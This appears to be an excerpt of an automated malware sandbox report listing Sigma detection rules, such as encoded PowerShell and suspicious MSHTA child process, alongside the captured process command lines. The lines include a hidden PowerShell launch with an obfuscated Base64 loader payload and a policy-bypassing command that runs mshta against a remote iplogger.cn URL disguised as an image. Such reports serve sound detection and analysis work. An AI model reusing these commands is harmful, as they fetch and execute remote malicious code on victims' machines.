          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Suspicious Encoded PowerShell Command Line
          Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Suspicious MSHTA Child Process
          Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Suspicious PowerShell Encoded Command Patterns
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEALwA2ADEAWABhADMATwBpAHoAQgBMACsASABIADgARgBIADEASwBsAFYAawB3AE8AeABNAHYAcQBuAGsAcgBWAEkAaABmAEYAQQBKAEcATABsADUAZwAzAGwAVQBJAFkARQBSAGsAQgBZAFIARABKAHUALwB2AGYAVAA0AE8AYQB6AFoANQBOAHoAdABtAHEAYwA2AHkAaQBIAEcAYQBtAHUANQA5ACsAcAByAHUAbgBNAFIAQwA1AE4AawBqAHMAMgBVAFEASgBIAFUAUgBkAFQAMQBHAGMAZQBHAEYAQQAzAFYAWQBxAGwAMQB2AEwAUgB4ADUASgBRAHUAcQBPACsAbABhAHQAcgBOAEwAQQBKAHMAVgBTAE0AWABoAHgARQBYAG0ASgA0AHQAQgArAHMAUgB3AG4AUgBrAGwAQwAvAFYAMgA1AEcARgB1AHgAdABhAFYAcQBsADMAcwByAGYAdABtAEcAVABvAHAAUgBnAHkAcABmAGkAbwAzAEkAUwBXAE4AVQB2ADcAaQBvAFgASgBSAFQAYQBaAEIAWQBLAC8AUQBTAFcATQBUAGIAbwA1AGMAdABJAHUAdgBRAFMAYwBCAFEANwBZAG0ATgBJAGoANwBjAFcAbAA3AHcALwBQAFUAcgBsADgAWQB4AEMAcwBqAHgALwBXAGEAQQBDAEoAcwBrAGEATAB2AEUASABrAHAAcQBkAGUAbwA3AE4AVgB1AGoARwBGADAALwBMAEQAZgBJAEoAdABUAGYAMQBPAFgATAB6AFEAQwBIAFMAdwB1AGYAdAB1AFcAYwBaAGEALwBCAEsAVABaAHcAaQBqAFUANQB0AEsAMwBDAGcAeABzAGoAdwBoADYAcABWAGYALwA2AHEAMQBwAC8AdQBtAGEAZQBiADQAUgBkAGEAdQBHAGsAVgBqAFgAeQBoAEsARAB0AGoAWQBOAHgAdABVADcAOQBxAEIAYwBHAHoAVAB4AEMAdABhAHIAaQAyAFgARwBZAGgAQwB0AHkATQAvAE8AQwA1AHUAMwBOAHAARQBTAHYAbAB1AEMAVgBJAC8AWgBxAC8AZQBTAFoARwAxAG4AZwB4ACsAZABPAEYAbABxAFAATQByAFUAcQBEAE0AZgBBAEQAWAB2AGsAcwBOAHEAZwBuAGcAcAA3AFQAOAAvAFAAMQBMAGMAMwBOAEgAbwBhAEUARwArAEwAYgBxAFMAQQBvAEQAaQBNAEQAQgBUAHYAUABSAHMAbABOADAATQByAGMARABEAFMAMABRAHIARQBxAGcAawBjAFkAZQBCAFcANgB3AEEAaQBSAGkAUwBOAEEAKwBxAE0AQgBlAFQAMgBvAFkAOQBxAGwAMABHAEsAYwBRAFAAMABQAHYAMgBwADMAdQBlAGEAaQByAEkAegB1AFgAOABxAFYASABzAHYAQgBMAHYARwBKAEsANAAzAFQAagBIAHgASgAzAFEAbwBaAGQAdwBjADEAWQBFADcAdgA2AEYALwBGADEAeAAxACsAUAAwAFcAWQBQAFgASwBqADgAbwBIAG8AZQBvAGcAagBGAHkATABvAEIAYwBDAC8ATAA2AEwAMQBjAHIARgB4AFYATQA1AFIATwBCAFAAYgBSAHcAbQBYAGkAbAAzAFIAOQBFAE4AUwBnAEUAUQBGAGcAbgBqAHYARABoAE8ATQAwADUAUgAvAGYAbgBuACsAUgB6AE4AbgBpAFcAVAB4AHEAZQBLAG0ATABQAFUAUwBlAFoANABQAEUAYwBjAGQAOQBUAFQATgBQAFMAYwA1ADgAcABGAHYAWABLAEsAbgBtAEwAKwBaAFoAbAA2ADIARQBGAHgAcwBmADUANQBOAHYAQgBvADUAUQBXAEkAegB3AE4AcgA2ADkAbgBuAGcASwA5ADkAZABHAFoAbwBoAFYASABKAHgAOAAxADUAbQB3AG8ANABhADkAWABUAEEAbgBMADQARQB6AHYAVgBnAHQAQwBuADMAOABXAEUAcgBVAGYAZQBaAFAAdABIAGMASwB3AE4ANQA1ADQAQQBLAGcAaQBKACsAcQA5AGcAagBtAGQAWQBxADAAcQBCAGcAcgBiAEEAMwAvAEUAZAB3AHYAUgB5AEIAVwBtAEcAegByAHQAUABxAFoAVwBmAHIAUgBmAHYAUgBTAHgAegAyAEUAcQBTAEIAagBWAE8ASQBjAC8AdABCAG0AVQBnAEMAeQBPAG4AUQBiAEYAQgA0AHAAMgBXADIASgBTAEUANQBiAEQANgBFADYANgBTAFkAdQBMAFoAVgBrAEwATwA2AHAANwByAEgAMQBCADYATQBzADIARgBBAFcAUgBNAGEAcwBQAHAAQQBnADIAbQBFAFMASABiAHMAMwBEAEIAUwBvAE0AYQBlAGcANwBxADUANABiAG4AbgBpAEYAVQBQACsAUwBFAHMAegBDAEcAbABBAE4ATgBlAHoAZwBUAG0AQwBtADQATQBFAGcAUgBNADcASABUACsAUABmADQAcQBOADgAWQBpAEUAagBiAEMASwBNAHQANwBDADYAcgBrAEkAZwB0AEYAMgByAE8ASwBhAFAASwBjAEwATgBjADUARgBUAC8AQQArAHgAegBuAGgAeQBUAG8AdQBEAHEAVABOAEkANwAwAEIAQQBBAEIAZwA1AEoAZwA1AHAANgBNAF
          Sigma detected: Change PowerShell Policies to an Insecure Level
          Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3964, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle hidden -ExecutionPolicy Bypass -Command "Start-Process mshta -ArgumentList 'https://iplogger.cn/forensicsas.png'", ProcessId: 7288, ProcessName: powershell.exe
          Sigma detected: Suspicious Execution of Powershell with Base64
          Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -encodedcommand 